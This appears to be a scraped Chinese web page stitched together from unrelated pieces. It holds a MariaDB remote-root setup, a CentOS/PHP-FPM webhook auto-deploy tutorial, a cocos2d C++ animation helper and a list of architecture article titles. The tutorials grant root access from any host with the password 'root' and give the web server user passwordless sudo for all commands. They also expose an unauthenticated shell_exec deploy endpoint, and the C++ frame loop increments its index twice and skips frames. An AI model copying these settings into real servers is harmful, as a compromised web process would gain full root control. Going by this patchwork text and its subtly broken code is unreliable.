#(注意UserName和UserPassword要替换成想创建的用户名密码)
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY "root" WITH GRANT OPTION;

#创建可本地登陆的管理员账户(进行mysql命令行模式)
GRANT ALL PRIVILEGES ON *.* TO UserName@'localhost' IDENTIFIED BY "UserPassword" WITH GRANT OPTION;

#修改生效
FLUSH PRIVILEGES;

#重启mysql服务
systemctl restart mariadb.service

#远程连接注意防火墙设置

其它注意事项

如果php需要用socket方式连接mysql,可以进行如下操作

#注意php.ini文件中关于mysql_socket的设置
#查看mysql.sock地址
cat /etc/my.cnf
socket=/var/lib/mysql/mysql.sock # 看这行

#修改php.ini
pdo_mysql.default_socket= /var/lib/mysql/mysql.sock
mysqli.default_socket =/var/lib/mysql/mysql.sock

如有其它问题,请在下方留言^_^

感受

在进行webhook自动部署的时候,踩了好多好多坑,也查了不少资料,结果却是走了许多弯路,这里我主要讲述我在配置的过程中进行的一系列操作。

操作环境

centos7 , php7 , nginx1.10

具体步骤

  • 创建一个用户组
groupadd web
  • 创建一个用户(用户目录在/home/web 名称为web 所属组为web)
useradd -d /home/web -m web -g web
  • 编辑php-fpm的配置文件并重启php-fpm服务
vim /usr/local/php7/etc/php-fpm.d/www.conf

#修改配置文件中的 user=nobody 与 group=nobody
user=web
group=web

service php-fpm restart
  • 生成密钥并查看,复制粘贴将其添加进coding账户中的ssh公钥列表中
sudo -Hu web ssh-keygen -t rsa
cat /home/web/.ssh/id_rsa.pub
  • 修改sudoers
visudo

#root    ALL=(ALL)       ALL  这句下面添加下面这句
web ALL=(ALL) NOPASSWD:ALL
  • 通过git克隆代码仓库至/www/web目录(需切换至新用户操作,并且要通过ssh方式克隆,而非https)
su web
git clone git@git.coding.net:xxxxx/xxxxx.git /www/web
  • 准备githook.php文件
<?php
$a = shell_exec('cd /www/web/ && git remote update -p && git checkout -f origin/master && git submodule update --init ');
print_r($a);

  • 在项目中设置webhook,设置访问githook.php文件的链接地址

相关操作及具体阐释

  • 用户组相关操作
#创建用户组
groupadd my_group
#修改用户组
groupmod -n my_group2 my_group #注意:被操作的 要写在最后面
#删除用户组
groupdel my_group2 
#查看当前登陆用户所属组
groups 
#查看某用户对应的用户组
groups root #root可以替换为其它用户名
#查看所有用户组及其对应id
cat /etc/group

  • 用户相关操作
# useradd 、usermod 相关参数
Options:
 -b, --base-dir BASE_DIR       设置基本路径作为用户的登录目录
 -c, --comment COMMENT         对用户的注释
 -d, --home-dir HOME_DIR       设置用户的登录目录
 -D, --defaults                改变设置
 -e, --expiredate EXPIRE_DATE  设置用户的有效期
 -f, --inactive INACTIVE       用户过期后,让密码无效
 -g, --gid GROUP               使用户只属于某个组
 -G, --groups GROUPS           使用户加入某个组
 -h, --help                    帮助
 -k, --skel SKEL_DIR           指定其他的skel目录
 -K, --key KEY=VALUE           覆盖 /etc/login.defs 配置文件
 -m, --create-home             自动创建登录目录  
 -l,                           不把用户加入到lastlog文件中  
 -M,                           不自动创建登录目录  
 -r,                           建立系统账号  
 -o, --non-unique              允许用户拥有相同的UID  
 -p, --password PASSWORD       为新用户使用加密密码  
 -s, --shell SHELL             登录时候的shell  
 -u, --uid UID                 为新用户指定一个UID  
 -Z, --selinux-user SEUSER     use a specific SEUSER for the SELinux user mapping  

#创建用户
useradd -d /home/web_admin -m web_admin #配置参数在前,名称放在最后
#修改用户
usermod -d /home/web_admin2 -G my_group web_admin #依然是配置参数在前,名称放在最后
#删除用户
userdel web_admin
#查看当前登陆用户
whoami
#查看某个用户
finger web_admin #如果finger程序没有的话,执行yum install finger 安装一个就好了
#查看登录成功的用户记录
last 
#查看登录不成功的用户记录
lastb
#查看所有用户
cut -d : -f 1 /etc/passwd  #或者 cat /etc/passwd |awk -F \: '{print $1}'

  • php-fpm相关操作
#查看php-fpm子进程的运行用户
ps -ef|grep php-fpm
#如果php-fpm子进程的运行用户是nobody,则最好新建一个用户,用来运行php-fpm。另外,php-fpm的父进程一般是root,这个一般无需改动。

#编辑php-fpm配置文件
vim /usr/local/php7/etc/php-fpm.d/www.conf #配置文件位置因人而异,主要看搭环境的时候怎么配的了

#修改配置文件中的 user= 与 group=

#重启php-fpm
service php-fpm restart

  • ssh免密码登陆
#指定用户 生成公钥
sudo -Hu web_admin ssh-keygen -t rsa #其中web_admin是指定的用户名

#查看公钥
cat /home/web_admin/.ssh/id_rsa.pub  #因为我的是默认操作,所以自动在web_admin下的.ssh文件夹下生成。如果是生成其它用户的,则路径改为那个用户的文件夹路径

#进入coding的ssh公钥设置页面,添加id_rsa.pub文件的所有内容


  • 修改sudoers
visudo
#Defaults    requiretty 此句无注释

#root    ALL=(ALL)       ALL  这句下面加一句
web_admin ALL=(ALL) NOPASSWD:ALL 
#web_admin为分配的用户名,NOPASSWD为不需要密码的意思

  • 准备githook.php文件
<?php
$a = shell_exec('cd /www/web/ && git remote update -p && git checkout -f origin/master && git submodule update --init ');
print_r($a);

/** 先用terminal在项目目录下用运行php-fpm的用户执行php githook.php,针对遇到的问题做特定调整。
 *  常见的问题有:
 *  1.无执行权限(更改项目所属用户为php-fpm运行用户)
 *  2.目录不存在(调整项目路径)
 *  3.无法访问远程仓库权限(检查是否在coding中添加ssh密钥)
 */

错误示例一:每次shell_exec执行git操作前都要加cd,否则,git命令无法执行

 shell_exec("cd /www/my/blog ");
 shell_exec("git status && git remote update -p  && git checkout origin/master && git submodule update --init");

错误示例二:用visudo编辑过sudoers文件,并添加web_admin用户之后,无需加sudo

 shell_exec("cd /www/my/blog && sudo git status && sudo git remote update -p  && sudo git checkout origin/master && git submodule update --init");
  • 进入coding的项目设置页面,选择webhook

  • 新建webhook,url=http://访问地址/githook.php,无需安全的话token随意,需要token的话,githook.php需增加判断token是否正确的语句 ,coding webhook官方文档

  • 测试是否连接

  • 更改项目文件所属用户

chown web_admin /www/web_dir/ -R  #web_dir为项目目录

如遇其它问题,欢迎再下面评论区交流^_^

动画帧工具类

ActionTool.h

#pragma once
#ifndef ActionTool_H__
#define ActionTool_H__

#include "cocos2d.h"
USING_NS_CC;

class ActionTool {
public:
    //无帧数量创建动画
    static Animate* animationWithFrameName(const char *frameName, int iloops, float delay);
    //有帧数量创建动画
    static Animate* animationWithFrameAndNum(const char *frameName, int num, float delay);

};
#endif // !ActionTool_H__s


ActionTool.cpp

  • 引用头文件
#include "ActionTool.h"
  • 无帧数量创建动画
Animate* ActionTool::animationWithFrameName(const char *each_name, int iloops, float delay)
{
    SpriteFrame* frame = NULL;
    Animation* animation = Animation::create();
    int index = 1;
    //遍历所有可执行帧
    do {
        //通过名字来获取动画帧
        String *name = String::createWithFormat("%s%d",each_name,index++);

        frame = SpriteFrameCache::getInstance()->getSpriteFrameByName(name->getCString());
        if (frame == NULL) {
            break;
        }
        animation->addSpriteFrame(frame);
    } while (true);
    animation->setDelayPerUnit(delay);
    animation->setRestoreOriginalFrame(true);
    Animate* animate = Animate::create(animation);
    return animate;
}
  • 有帧数量创建动画
Animate* ActionTool::animationWithFrameAndNum(const char *frameName, int framecount, float delay) {
    SpriteFrame* frame = NULL;
    Animation* animation = Animation::create();
    int index = 1;
    for (int index = 1; index <= framecount; index++) {
        String *name = String::createWithFormat("%s%d", frameName, index++);
        frame = SpriteFrameCache::getInstance()->getSpriteFrameByName(name->getCString());
        animation->addSpriteFrame(frame);
    }
    animation->setDelayPerUnit(delay);
    animation->setRestoreOriginalFrame(true);
    Animate* animate = Animate::create(animation);
    return animate;

    /*第二种方法
    //向量
    Vector<SpriteFrame*>animFrames;
    char str[20];
    for (int k = 1; k <= framecount; k++) {
        sprintf(str , "%s%d.png",frameName , k);
        SpriteFrame *frame = SpriteFrameCache::getInstance()->spriteFrameByName(str);
        animFrames.pushBack(frame);
    }
    return Animate::create(Animation::createWithSpriteFrames(animFrames, delay));
    */
}

大型网站架构演化历程

Web

支付宝和蚂蚁花呗的技术架构及实践

支付宝的高可用与容灾架构演进

聚划算架构演进和系统优化 (视频+PPT)

淘宝交易系统演进之路 (专访)

淘宝数据魔方技术架构解析

秒杀系统架构分析与实战

腾讯社区搜索架构演进(视频+PPT)

京东峰值系统设计

京东咚咚架构演进

新浪微博平台架构

微博图床架构揭秘

微博推荐架构的演进

当当网系统分级与海量信息动态发布实践

当当网架构演进及规划实现(视频+PPT)

LinkedIn架构这十年

Facebook’s software architecture(英文)

从0到100——知乎架构变迁史

豆瓣的基础架构

搜狗搜索广告检索系统-弹性架构演进之路(视频+PPT)

小米网抢购系统开发实践

小米抢购限流峰值系统「大秒」架构解密

海尔电商峰值系统架构设计最佳实践

唯品会峰值系统架构演变

1号店电商峰值与流式计算

蘑菇街如何在双11中创造99.99%的可用性

麦包包峰值架构实践

苏宁易购:商品详情系统架构设计

携程的技术演进之路

篱笆网技术架构性能演进(视频+PPT)

从技术细节看美团的架构(1.26日更新)

无线

阿里无线技术架构演进

手机淘宝构架演化实践

手淘技术架构演进细节

手机淘宝移动端接入网关基础架构演进之路

微信后台系统的演进之路

微信红包的架构设计简介

微信Android客户端架构演进之路

Android QQ音乐架构演进(视频+PPT)

快的打车架构实践

Uber 四年时间增长近 40 倍,背后架构揭秘

Uber容错设计与多机房容灾方案

大众点评移动应用的架构演进(视频+PPT)

饿了么移动APP的架构演进

其他

魅族实时消息推送架构

魅族云端同步的架构实践和协议细节